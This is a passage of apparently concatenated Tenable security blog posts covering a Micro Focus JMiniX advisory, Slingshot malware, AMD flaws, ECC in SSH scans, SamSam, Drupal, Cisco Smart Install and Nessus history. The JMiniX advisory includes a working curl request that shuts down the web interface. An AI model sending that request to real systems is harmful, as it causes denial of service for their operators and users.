sun.boot.class.path=C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\resources.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\rt.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\sunrsasign.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jsse.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jce.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\charsets.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jfr.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\classes
ssl.verifyHostName=false
host.name=DESKTOP-F6M1S7H.westeros
cloudslang.worker.inBufferCapacity=200
mgmt.url=http\://localhost\:8080/oo
sun.desktop=windows
java.vm.specification.vendor=Oracle Corporation
java.runtime.version=1.8.0_66-b17
wrapper.native_library=wrapper
javax.net.ssl.keyStore=C\:/Program Files/Hewlett Packard Enterprise/HPE Operations Orchestration/central/var/security/certificate.p12
wrapper.key=mmvkDoBqly1UnneD13IinG_K5LF_5nhg
user.name=DESKTOP-F6M1S7H$
... snip ...

Denial of service

The example below shuts down the web interface, leading to a denial of service.

albinolobster@ubuntu:~$ curl -d "executed=true" -X POST http://192.168.1.253:8080/oo/jminix/servers/0/domains/Catalina/mbeans/type=Connector,port=8080/operations/stop%28%29/
curl: (52) Empty reply from server
albinolobster@ubuntu:~$ curl -vv http://192.168.1.253:8080/oo/
* Trying 192.168.1.253...
* TCP_NODELAY set
* Connected to 192.168.1.253 (192.168.1.253) port 8080 (#0)> GET /oo/ HTTP/1.1> Host: 192.168.1.253:8080> User-Agent: curl/7.54.0> Accept: */*> 
^C

Vendor response

Micro Focus released a software update and an associated advisory, MFSBGN03801 rev.1, on March 1, 2018.

A note on the CVSS scoring: Micro Focus has given this a score using AC:H (or Access Complexity: High). The description for a Low access complexity follows:

The affected configuration is the default configuration. Tenable CVSS scoring reflects this, while Micro Focus's does not. Tenable's Zero Exposure team has notified MITRE.

Business impact

Malicious attackers can gather sensitive runtime information to gather reconnaissance data for further attacks.

More concerning, a malicious attacker can remotely shut down the JMiniX JMX console that provides access to the web user interface. An attacker could detrimentally impact operational integrity by repeated denial-of-service attacks. In combination with other attack methods (e.g., ransomware attack), this can impact disaster and incident recovery measures.

Solution

• Apply the software update supplied by Micro Focus as soon as possible.
• As a workaround to mitigate exploitation, restrict network access to authorized users only.
• Tenable has released a plugin to detect the vulnerability: Plugin ID 107094 Micro Focus Operations Orchestration JMiniX Multiple Vulnerabilities

A new and very advanced malware attack has been discovered by Kaspersky Lab. The malware named Slingshot, due to a string in one of the hijacked system DLLs, is a sophisticated attack that leads to a nasty rootkit. The final rootkit named Cahnadr takes control of system processes, allowing for monitoring of keystrokes, clipboard, network traffic and more.

Background

Kaspersky Lab recently analyzed a sophisticated malware they named Slingshot. The paper published by Kaspersky Lab outlines details on how Slingshot operates and suggests the malware has been active since 2012. What makes Slingshot especially interesting is it used a compromised IoT device to infect targeted organizations.

So far, only one vendor’s router, MikroTik, has been reliably identified as being used in the compromise. MikroTik is based out of Riga, Latvia, and markets routers and wireless ISP systems to a global user base.

Malware details

It’s still not known how the attackers gained access to the MikroTik routers. There are some vulnerabilities they could have potentially been used. Here are some examples.

Once they had gained access to the router, the investigation found an interesting vulnerability that was exploited. CVE-2012-6050 reported a list of issues with the MikroTik routers. One issue has to do with a piece of management software that accompanies the MikroTik router called Winbox. When Winbox starts, it will pull a set of DLLs from the IoT device that it requires for management capabilities. The problem is it will also transfer any DLL that’s placed locally on the device and load it, including malicious DLLs. This flaw was used in the analyzed attacks to place a DLL named ipv4.dll on the router. The DLL was downloaded by legitimate users, granting the attackers access to their systems, and providing a beachhead for further attacks, such as lateral transfer.

Once the ipv4.dll is on the system, one of the first things this attack does is hijack a system process by overwriting a windows DLL with a custom DLL. There are a few examples of different DLLs they used here for this part of the attack. As an example, they used the scesrv.dll in one of their attacks. The details behind this are interesting due to how they replicate the file size and compress the original code to hide their presence, but this does still expose the infection because of code signing. Anything that comes out of Microsoft is expected to be signed by “© Microsoft Corporation. All rights reserved” with a valid cert and validate in the authenticode process on the system. This includes things such as the scesrv.dll that’s on the system in this attack. If you look at the Virus Total report, it shows this isn’t signed – something that should make what’s being reported as a six-year-old attack detectable.

Plugin 108411, Malicious Process Detection: Authenticode Microsoft Manufacturer

From here, the report talks about how the rootkit gains access by bypassing x64 Driver Signing Protection using some vulnerabilities in some existing drivers:

5F9785E7535F8F602CB294A54962C9E7 SpeedFan.sys - CVE-2007-5633 9a237fa07ce3ed06ea924a9bed4a6b99 Sandra.sys - CVE-2010-1592 978CD6D9666627842340EF774FD9E2AC ElbyCDIO.sys - CVE-2009-0824

This is a fairly eclectic list of vulnerabilities. It isn’t something you see at the top of most people's radars, yet it’s still a large threat for privilege escalation. With targeted style attacks like this, the things hidden in the weeds can be gold mines. Once the malware can exploit the drivers to gain system privilege, they implant their rootkit and user space module, then do some work to hide themselves.

Conclusion

An initial 100 infections have been identified in the following countries: Kenya, Yemen, Libya, Afghanistan, Iraq, Tanzania, Jordan, Mauritius, Somalia, Democratic Republic of the Congo, Turkey, Sudan and United Arab Emirates.

The moral of the story is attackers will target the entire attack surface, and IoT devices are becoming increasingly popular vectors for attackers. Understanding how these devices are exposed is more important than ever. In this particular attack, the MikroTik routers potentially left a harder target exposed and enabled the attacker to leverage multiple vulnerabilities to get a very nasty piece of malware installed.

Urgently required actions

Kaspersky states, “Users of MikroTik routers should upgrade to the latest software version as soon as possible to ensure protection against known vulnerabilities. Further, MikroTik Winbox no longer downloads anything from the router to the user’s computer."

Identifying affected systems

You can begin looking for this infection by monitoring several plugins already present in the network. For example, MikroTik RouterOS Winbox Detection (59731) and MikroTik Winbox < 5.17 File Download DoS (59732) both may be present on networks that use MikroTik routers.

MikroTik plugins
59731 : MikroTik RouterOS Winbox Detection
59732 : MikroTik Winbox < 5.17 File Download DoS

CTS-Labs published several AMD flaws over a week ago. For those of us who read vulnerability disclosures regularly, this particular disclosure was curious. Not only was the branded website bereft of any real technical details, but it also lacked any type of information about coordination with AMD. The disclosure also had bizarre legal disclaimers, including the following:

“The opinions expressed in this report are not investment advice nor should they be construed as investment advice or any recommendation of any kind.”1

In fact, were it not for Trail of Bits stepping forward and acknowledging they had been paid by CTS-Labs to review and confirm the accuracy of CTS-Labs findings, the whole thing would have been difficult to take seriously.

However, as of this morning, AMD has published a detailed acknowledgement of the CTS-Labs vulnerabilities. Although no patches have been published, we have a much better understanding of the severity of these vulnerabilities and our customers’ exposure.

Vulnerability details

Despite the flashy website and many news articles since the disclosure, our assessment is the AMD vulnerabilities are overhyped and nowhere near the severity of Spectre and Meltdown. Those two flaws were particularly concerning for two reasons. First, they’re based on fundamental flaws in the design of processors. Secondly, those vulnerabilities can be exploited by unauthenticated remote attacks. For example, the Spectre whitepaper specifically mentions a JavaScript proof of concept.

Impact assessment

All the discussed AMD flaws, except CHIMERA-HW, are firmware issues. Patching firmware issues is significantly easier than mitigating a hardware flaw. AMD is likely to push out a firmware fix relatively quickly since we’ve seen it done before. CHIMERA-HW does look like it’s a vulnerability at the hardware level. CTS-Labs is very quick to call this a “Manufacturer Backdoor.” More likely, it’s probably just unintentionally poor design work.

Prevalence

The other part of this vulnerability that needs to be considered is AMD’s prevalence. Meltdown and Spectre were a big deal because they affected a large variety of processors. AMD represents about 20 percent of the CPU market share, and only a subset of that is vulnerable to these vulnerabilities.

(No) Urgently required actions

These vulnerabilities aren’t good, but you probably shouldn’t lose sleep over them either. AMD reported they will provide firmware updates and mitigations “in the upcoming weeks.” That seems about as good as you can ask, given CTS-Labs’ lack of coordination effort.

Tenable is actively researching new plugins to identify these issues. As always, ensuring administrator access is restricted to only the most trusted users will go a long way in protecting everybody from these vulnerabilities.

Cryptography is like finding and patching system vulnerabilities. Both are a race. In the former, the race is between mathematicians finding efficient, hard-to-reverse computations and opposing mathematicians solving hard numerical problems to defeat them. In the latter, the race is between IT and malicious actors who may find the vulnerabilities first to exploit them. The race in encryption is fueled by the exponential increase in computing power outlined by Moore’s law, constantly driving the algorithms we use toward obsolescence.

For a long time, the golden standard in strong cryptography was based on schemes using the result of multiplying two prime numbers.

Breaking the encryption requires finding two prime numbers that when multiplied together result in the original number, also called the integer factors of the large number. In 1985, Neal Koblitz and Victor Miller separately invented cryptography based on the difficulty of finding the discrete logarithm of a random elliptic curve.

This relatively new approach has the advantage of faster computation than integer factorization. It also provides equivalent security using smaller keys.

The result of Koblitz and Miller’s work is called elliptic curve cryptography (ECC). Numerical improvements in integer factorization like the Number Field Sieve have put traditional RSA-style algorithms at risk with even relatively large key sizes and make the faster computation and smaller key sizes of elliptic curve cryptography an attractive alternative.

If a mathematical technique can feasibly factor integers or find the discrete logarithm of an elliptic curve, then it can be used to reveal private keys and break the cryptography. Looking into the future, quantum computing puts ECC at a higher risk than RSA due to Shor’s algorithm. Shor’s algorithm is a theoretical quantum computing technique for efficiently computing discrete logarithms. To use our race analogy, the cars are getting superchargers. But, in the meantime, ECC is a more secure approach than RSA.

Tenable has just added support for the use of ECC algorithms in SSH for credentialed scans. It’s another tool to help customers stay ahead in the race.

New algorithms

The addition of elliptic curve adds three new algorithms for Diffie-Hellman key exchange, bringing the total to six.

Six new signing algorithms have also been added, bringing the total to thirteen.

Asymmetric cryptography (e.g., RSA, DSS or ECC) generally serves three roles in SSH:

• Key exchange
• Authenticating clients to hosts
• Authenticating hosts to clients

Key exchange use can be broken down into encrypting the process of generating a shared secret (in this case, Diffie-Hellman) and the process of cryptographically validating the integrity of the key exchange messages. Getting Nessus® to use the new algorithms for these processes just means configuring the SSH servers on the scan targets to enable them, and configuring the corresponding credentials in the scan policy.

Scanning with ECC

Using the new algorithms for authentication requires reconfiguring the SSH credential configuration in your scan policy, so I will briefly touch on it here.

Client authentication

Nessus supports two forms of client authentication using cryptographic keys:

• The first is public key authentication, where a key pair is generated for each scanner and the public key for each pair is sent to the SSH servers.
• The second is certificate authentication (CA), which follows the same idea, but makes it easier to manage the server side by having each scanner’s public key cryptographically signed by a certificate authority key or CA. The advantage is that a server only has to be configured to trust the CA to authenticate any client possessing a certificate signed by that CA.

To use public key authentication, simply add the scanner’s own private key to the SSH credentials. The private key contains a copy of the public key, and only the public key will ever be sent across the network for authentication. Nessus uses the private key to cryptographically sign the authentication messages in a way that an SSH server can use to verify that the message wasn’t tampered with in transit. The credential configuration then looks like this:

To use the new credential authentication method, create a trusted CA key pair for your scan targets. Then, sign the public key of your scanner’s key pair with the CA. Using OpenSSH, the command might look something like:

ssh-keygen -s ca_user_key_ecdsa_521 -n user1,user2,user3 -I a_certificate_name ./ssh_user_ecdsa_521.pub

This will produce a certificate named “ssh_user_ecdsa_521-cred.pub”. Your SSH credential will now require both the certificate and scanner’s private key. See below:

Host authentication

In addition, Nessus can use asymmetric cryptography to authenticate SSH servers. This is also called known host verification. It means Nessus will verify the identity of an SSH server. Here, the roles are reversed. Key pairs are generated on the scan targets, with Nessus configured to recognize them using a “known hosts” file. The public key of each scan target is placed in the “known hosts” file on a separate line. The file is uploaded as a part of the SSH credential global settings. Here’s an example:

your-host.your.domain.com ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAHR4cqH8yZbXVOSPSdOBUhIkELzANlgWOkNcdWZrRq95lglrf1ILe5Q0jukTKgjt413ie0TTKsTYG1nwaFJxKdRqAFw1NAGJxz3eVaf/6SN3kadNtcyPIPy5SbCF++G6iqhN1TuXenoXjwspCn3yWdiXF5rDoR5dDCLSMjJgH9tQaFanQ==

your-host2.your.domain.com ecdsa-sha2-nistp384 AAAAE2VjZHNhLXNoYTItbmlzdHAzODQAAAAIbmlzdHAzODQAAABhBP20zV8o3Ui4xSM0+3R/VtozwyzJXeurOirgvK3jWifV3/Re9XU/ZUeSeZBgDBdsvSQ+ym+At6CNU5o2Q9jUhHVSYo5tzYrS/pvD2uDykvy9M2oGG9XdxvWh5CrEbQRA0g==

@revoked your-host3.your.domain.com ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLEPTqn+R5BsCTy8Qvq+Fga/pflGdeH0GHnksLlE65MiWOKWc4WvFuscS0wYVIWSLzrq3g+q739pz3j9HbgO10I="

Certificate-based known hosts verification is also supported. A CA key pair is generated for Nessus scanners to trust. Each scan target sends the public part of its host key to the scanner to be signed by the CA. The signed certificate is sent back to the scan target to be used in the host authentication part of the protocol exchange. The known hosts file used by Nessus becomes much simpler. It now contains a single line with the public key of the CA (see below):

@cert-authority *.your.domain.com ecdsa-sha2-nistp384 AAAAE2VjZHNhLXNoYTItbmlzdHAzODQAAAAIbmlzdHAzODQAAABhBJCQqR5NFoGJ8olau6CR3eOg0QZau0H2a4Li+ABmIYVgPscd2VhjBWE3N6WbMiWVk9dCy8Ih+rV62tsA9XbzgzUX0fw+ICkMP0ZlD8ER9MtfRoK4a8hOiy8IoMxORarZaA==

Not the end: Cryptography study will continue

Cryptography is complex. The mathematics are esoteric, and the legal and political realities surrounding cryptography are just as knotty.

ECC will be relevant for some time yet. Shor’s algorithm will theoretically require a quantum computer with 2,330 qubits to crack an elliptic curve with a 256-bit modulus. Putting that in context: Last year, IBM announced a quantum CPU featuring 17 qubits, with the prospect of 50 qubits on the horizon. At least one researcher believes that larger quantum computers may not even be possible.

The rise of IoT has driven recent interest in ECC due to the superior protection offered by smaller keys. This is a critical advantage in small devices with limited storage.

Nevertheless, ECC has proved more problematic and more prone to security flaws than integer factorization cryptography. Certain elliptic curves are degenerate, such as elliptic curves over a binary field or over primes. There’s also speculation that other classes of degenerate curves may exist. ECC in practice has been sensitive to the quality of the underlying system’s random number generator and vulnerable to side-channel attacks.

So, this isn’t the end of the story, but it’s all I have for now. At Tenable, we’ll keep studying cryptography and working to keep you ahead in the race.

As many news outlets have reported, Atlanta is recovering from an attack on its city computers that occurred on the morning of March 22. Initial reports stated and later confirmed that SamSam ransomware, also known as Samas and SamSamCrypt, was at play. SamSam ransomware exploits older, unpatched JBoss system and Java deserialization vulnerabilities. It also looks for insecure RDP connections within the targeted environment.

SamSam ransomware was active in early 2016, and is now making a comeback. This ransomware has been identified in shutting down systems in February 2018 at the Colorado Department of Transportation. In January 2018, Hancock Heath, a regional hospital in Indiana was stricken by the malware. The fact that SamSam has been so successful in several instances in the recent past reiterates the need to reduce one's Cyber Exposure gap and time to remediate.

SamSam ransomware differs from other ransomware because the attackers don’t rely on user-based attack vectors, such as phishing campaigns. Instead, they utilize compromised hosts to gain a foothold, then move laterally through the network.

The vulnerabilities exploited by SamSam include those identified in the following CVE:

• CVE-2010-0738
• CVE-2012-0874
• CVE-2010-1428

Tenable detects these vulnerabilities via the following plugins:

How Tenable can help

Tenable developed Nessus® plugins to detect these vulnerabilities for Tenable.io Vulnerability Management, SecurityCenter and Nessus Pro. Specifically, these plugins identify vulnerabilities that would allow a remote attacker to utilize the JBoss flaw to gain access to sensitive information. In addition, Tenable.io Container Security has detection for the vulnerabilities in Docker container images.

To determine if you’re currently vulnerable to any of the exploits listed above, log into Tenable.io, click the Advanced link located on the top right area of the top navigation bar. Within the Advanced Search pop-up, select “CVE” from the pick list, using default “is equal to”, and enter the listed CVE IDs, separated by a comma. Then, click Apply, as shown in the image below.

Identified vulnerabilities will be displayed on the Vulnerability Workbench. See below.

At this point, you may select a specific vulnerability to retrieve details, such as the Description, Solution and References, which will assist in mitigating the vulnerability.

To view information about which specific assets are vulnerable, click the Assets tab on the Vulnerability Workbench. Selecting an asset will also present you with a vulnerability view, which when selected will also take you to the detailed view shown above.

Most ransomware exploits well-known vulnerabilities that already have patches available.

Next steps and additional resources

Implementing a proactive security program that includes regular patching and system updating is one of the best strategies you can use to prevent malware from infecting your systems.

Make patching and protecting assets a regular habit. The risk is higher if operating systems and/or applications are out-of-date and unsupported. Patching all your assets on a regular basis, and developing a regular backup schedule can help prevent ransomware.

We will continue to monitor the situation and update our detection, as required, to keep our customers secure.

For more information about how Tenable can help your organization reduce the risk of ransomware infections, review this brief on-demand webinar: Using Tenable.io to Reduce the Risk of Ransomware Infections

In the meantime, to scan internal hosts, download a Nessus scanner and link the scanner to your Tenable.io account. If you aren’t a Tenable.io customer, sign up for a free 60-day evaluation.

Many thanks to Rajiv Motwani, Steve Tilson, Anthony Bettini, Clint Merrill and the entire Tenable research team for their contributions.

Drupal is popular, free and open-source content management software. On March 28, the Drupal security team released patches for CVE-2018-7600, an unauthenticated remote code execution vulnerability in Drupal core. The vulnerability affects Drupal versions 6, 7 and 8. Patches have been released for versions 7.x, 8.3.x, 8.4.x and 8.5.x. No patches are expected for version 6 or 8.2.x and below.

Impact assessment

Drupal security advisories include a risk score based on the NIST Common Misuse Scoring System. This helps give an objective sense of the risk of different issues. The risk of this vulnerability, SA-CORE-2018-002, is scored 21/25 (Highly Critical) AC:None/A:None/CI:All/II:All/E:Theoretical/TD:Default.

Tenable expects the impact of this vulnerability to be high. This vulnerability is similar to the infamous Struts vulnerability, in that it only requires a single HTTP request to exploit the target. However, unlike Struts, this vulnerability is believed to affect every Drupal endpoint. An attacker can leverage the vulnerability just by visiting the page, requiring no special privilege level.

Based on our analysis of the vulnerability, the widespread deployment of the target infrastructure and the potential ease of exploitation, the prediction is that real-world exploits will be developed rather quickly for this high-profile vulnerability. We can expect weaponized exploits within 24 to 48 hours of the patch’s availability. Twitter is already abuzz with activity on the topic. Vulnerable systems should be patched immediately.

Vulnerability details

The problem is that Drupal core accepts request parameters as array objects. While this is functionally no different than many other frameworks, a malicious user can pass an array object to the application with a keynote containing a payload. Drupal will process this without sanitization. A successful exploit attempt results in the potential compromise of the application and even the underlying operating system.

Urgently required actions and resources

Patch your Drupal installs immediately.

Tenable has released plugins 108688, 108695 and 108698 to detect vulnerable installations.

Get more information

• Drupal core security advisory: https://www.drupal.org/sa-core-2018-002
• Learn more about Tenable.io, the first Cyber Exposure platform for holistic management of your modern attack surface
• Get a free 60-day trial of Tenable.io Vulnerability Management

Performing vulnerability scans with or without credentials has been a hotly debated issue: On one hand, uncredentialed scans provide security teams with a hacker’s view of the organization, with a small subset of vulnerabilities to fix. And on the other, credentialed scans provide a complete view of all known vulnerabilities – which may or may not be immediately important, but can end up overwhelming teams.

Moreover, uncredentialed scans can overwhelm the network infrastructure due to the unpredictable nature of the scan (credentialed scans, if done well, could hardly bother network infrastructure). Uncredentialed scans are less accurate due to a higher number of false positives (credentialed scans are more accurate due to the nature of the scan). Last but not least, uncredentialed scans, as the name suggests, don’t require credentials, while credentialed scans do.

The last part, in some cases, invokes deep concerns within IT teams. And it’s partly driven by the idea of trusting a piece of software or person(s) with credentials (typically root/admin) for the organization. In this post, I’ll discuss tips to alleviate these fears and share five best practices for credentialed scanning within your organization.

Why should you scan with credentials?

Credentialed scans, if done well with appropriate privileges, provide the most accurate view of cyber risk within your organization. They bypass the usual downsides associated with uncredentialed scans, such as high false positives and high network bandwidth usage. In some cases, they even finish faster due to reduced back-and-forth between the scanner and target.

If your organization’s goal is to understand your true risk, then credentialed scans will provide the most accurate insight. It's always better to make vulnerability prioritization decisions based on all available information, rather than restricting it to a small subset of vulnerabilities discovered by uncredentialed scans.

Credentialed scanning best practices

Here are five best practices to perform credentialed scans within your organization:

Best practice #1: Use a dedicated scanning account

Set up a dedicated scanner account for credentialed scans rather than using existing accounts. The dedicated account should be fine-tuned to execute only those actions authorized by the IT team. Some organizations take this practice a step further and temporarily disable the scanning account once the weekly or monthly scans are finished.

Best practice #2: Use public key authentication or complex passwords

When possible, especially with SSH-based scans, use public key authentication over password-based authentication. The risk with password-based authentication is that a malicious insider or attacker could set up a rogue SSH server within the organization and collect the password from the scan during the next scan run. You should also supply the "known_hosts" file containing the fingerprints of the hosts to connect to the scanner, so as to avoid connecting to a rogue host. If you must go with password-based authentication, use complex passwords at a minimum.

Best practice #3: Leverage credentials managers

If your organization leverages credential managers such as Thycotic or CyberArk, you can use existing Tenable integrations with these products to quickly transition to credentialed scans without having to set up the credentials in Tenable products all over again.

At a high level, this requires setting up scan policies to authenticate to a credential manager, which on successful authentication provides credentials to perform credentialed scans. See below for specific instructions:

1. Thycotic
2. CyberArk

Best practice #4: Use “least privilege” scanning

For *nix-based systems, you can now review which commands are run by the scanner and the privileges they were run with. This information can be used to restrict the scanning account to only the least set of privileges required for the scan. Tenable recently released a feature for SSH-based scans that would allow you to do just that. The process involves setting up an account with sudo privileges and then modifying ‘/etc/sudoers’ file to include the authorized list of commands based on results from plugin IDs 102094 and 102095.

The plugins provide insight into two critical aspects of a credentialed scan:

• Which plugins ran with elevated privileges, and which specific commands did they run?
• Which plugins tried to run with elevated privileges and failed due to lack of privileges?

The plugin output is in machine readable YAML format, so it’s possible to parse the output and take automated actions to update relevant files.

Best practice #5: Assess authentication failures

Finally, what good are credentials if they don’t work? At Tenable, we’ve observed scanners fail to log into systems due to a variety of reasons, such as:

• Credentials are revoked
• Scanning accounts are deleted
• Credentials are updated or expired

When these changes occur, the scanning solution isn’t always in the loop.

To help address this issue, we released a new plugin to summarize authentication failures across all *nix, Windows, databases and a variety of other systems supported by Nessus. Please review the output of the plugin and set up automated processes to trigger action events if scans return with a positive hit for Plugin ID 104410.

Wrap-up

Credentialed scans help provide the most accurate snapshot of your organization. They’ll help find vulnerabilities that would never be discovered by uncredentialed scans (e.g., client-side vulnerabilities). You should therefore perform credentialed scans whenever possible. The information provided by a credentialed scan will help fill the gaps in your security architecture and provide insight into how to improve your information security program.

Embedi, a security firm, has discovered a major security flaw in the Cisco Smart Install code. According to Embedi and Cisco, “A vulnerability in the Smart Install feature of Cisco IOS Software and Cisco IOS XE Software could allow an unauthenticated, remote attacker to trigger a reload of an affected device, resulting in a denial of service (DoS) condition, or to execute arbitrary code on an affected device.”

Smart Install is Cisco’s quick configuration method for their switches. Cisco states that in a Smart Install network, you can use the Zero-Touch Installation process to install new access layer switches to the network without assistance from the network administrator. In other words, you can ship a switch to a location, place it in the network and power it on without configuring the switch.

Impact assessment

A successful exploit could allow the attacker to cause a buffer overflow on the affected device, which could then: trigger a reload of the device, allow the attacker to execute arbitrary code on the device or cause an indefinite loop on the affected device that triggers a watchdog crash.

In a properly configured network environment, Smart Install technology participants should not be accessible through the internet. However, Embedi conducted a scan and detected “250,000 vulnerable devices and 8.5 million devices that have a vulnerable port open” to the internet. Compromised switches will lead to further degraded network security and reliability – and increased cyber risk.

Exploitation

A remote, unauthenticated attacker can exploit a flaw in the client to reload an affected device and cause denial of service or execute arbitrary code. The vulnerability is due to improper validation of packet data. An attacker could exploit this vulnerability by sending a crafted Smart Install message to an affected device on TCP port 4786.

Urgently required actions

Embedi has published proof-of-concept exploit code, and network administrators should immediately patch all Cisco devices.

Cisco has released a patch for this critical bug CVE-2018-0171 affecting Smart Install.

As more analysis is done across networks containing the vulnerability, Tenable suggests immediate patching. If a system is exploited, any system reboot will cause network outages.

Cisco devices configured as a Smart Install director are not affected by this vulnerability. Tenable suggests checking with Cisco for more information about specific Cisco devices.

Identifying affected systems

Tenable released the following plugins to identify affected systems.

• Nessus Plugin 108722 Cisco IOS Software Smart Install Remote Code Execution Vulnerability
• Nessus Plugin 108723 Cisco IOS XE Software Smart Install Remote Code Execution Vulnerability

Get more information

• Cisco Security Advisory
• Learn more about Tenable.io, the first Cyber Exposure platform for holistic management of your modern attack surface
• Get a free 60-day trial of Tenable.io Vulnerability Management

Twenty years ago this week, I released the first public version of Nessus. Little did I know at the time the profound impact it would have both on the industry and on me personally.

Over this period of time, Nessus quite literally redefined the vulnerability management industry and profoundly influenced the security industry as a whole. Nessus is one of the most widely used security tools on the market today. I’m very proud to say that Nessus has helped 1.6 million enthusiasts become cybersecurity professionals – and I can’t even begin to tell you the number of people who have told me that Nessus launched their careers, and hearing that is always so personally gratifying.

There’s actually a little backstory to this adventure that I’m guessing only a handful know. On April 4, 1998, I sent an email to the bugtraq mailing list to let a little group of security geeks (and I use that term with respect) know about a project I had been working on during the previous 12 months – a Linux app with a graphical interface that would check networks for more than 50 vulnerabilities. Yes, you read that correctly – 50 vulns! I vividly remember thinking that I’d release the software, incorporate the little feedback I’d get and move on to something else.

Instead, the feedback I received was so encouraging that I ended up dropping out of college (my parents were NOT happy, but that’s a story for another day) and creating Tenable.

Why did Nessus become popular?

In hindsight, here’s why I believe Nessus became so popular:

1. It was a Linux application with a graphical user interface, which was very rare for security tools at the time. The webpage I set up had many screenshots, and the interface looked professional enough to generate curiosity. At the time, most security tools simply were a computer archive on a FTP server somewhere, with a README.txt file in it.
2. I announced it at the right place, at the right price, on the right platform, and at the right time. Nessus originally could not compete feature-to-feature with ISS (the 800-pound gorilla at the time). It was Linux-based and ISS had just dropped Linux support, which was what security professionals were using. The “industry” was very much anti-commercialism, and every security professional was reading bugtraq religiously.
3. I managed to create a direct relationship with the user community and worked days and nights to analyze bug reports and take feature requests into consideration.
4. Finally, I simply put lots and lots of work into it. For months, I’d work until 5 a.m., reverse-engineering some obscure undocumented protocols to make Nessus more powerful as a whole.

If you think about the four points above, you’ll recognize that they outline guiding principles for many successful products:

• First, identify an unmet need (in the early days of Nessus, that was the graphical interface) and then deliver against it.
• Second, understand the power of industry context – or put another way, no engineering in a vacuum.
• Third, know your user and the community you serve.
• Fourth, work harder than your competitors.

These principles are key. They ensure that our goal for Nessus today remains the same as it was at the beginning – offer a tool that gives its users an outsider’s view of the security of their network and guidance on how to improve it.

Nessus: What’s on the horizon?

In 2018, networks have never been so complex and security guidance has never been so sought-after. Nessus’ role within the security arsenal of any professional could not be more relevant in our era of BYOD, IoT, public cloud, etc. The team is hard at work to improve Nessus to reflect these changes and to tune Nessus to better adapt to modern IT environments:

• Before the end of the year, we’ll release a new engine that scales better, especially on the Windows platform.
• We’re also hard at work to dramatically reduce the installation time for Nessus. The “processing plugins” progress bar should soon be a thing of the past.
• The Tenable Research team is hard at work to refactor some of our critical libraries (such as the work that was done with SSH) to work in more environments and open up the way for more complex and reliable checks in the future.

These changes will make it easy to install Nessus in systems with fewer resources, such as low-end cloud instances. The reduced installation time will also make it easier to move the scanner from one system to another.

Thanks to the Nessus user community

Finally, the reason Nessus has been successful all these years is you, our user community. And we want to hear from you!

If you’re a Nessus user with a story to tell and you’re happy to share it on video, come visit me and the Tenable team at the RSA Conference in San Francisco from April 16 to 20 (booth #4301, Moscone North).

I’m looking forward to the future and to see how we all contribute to it.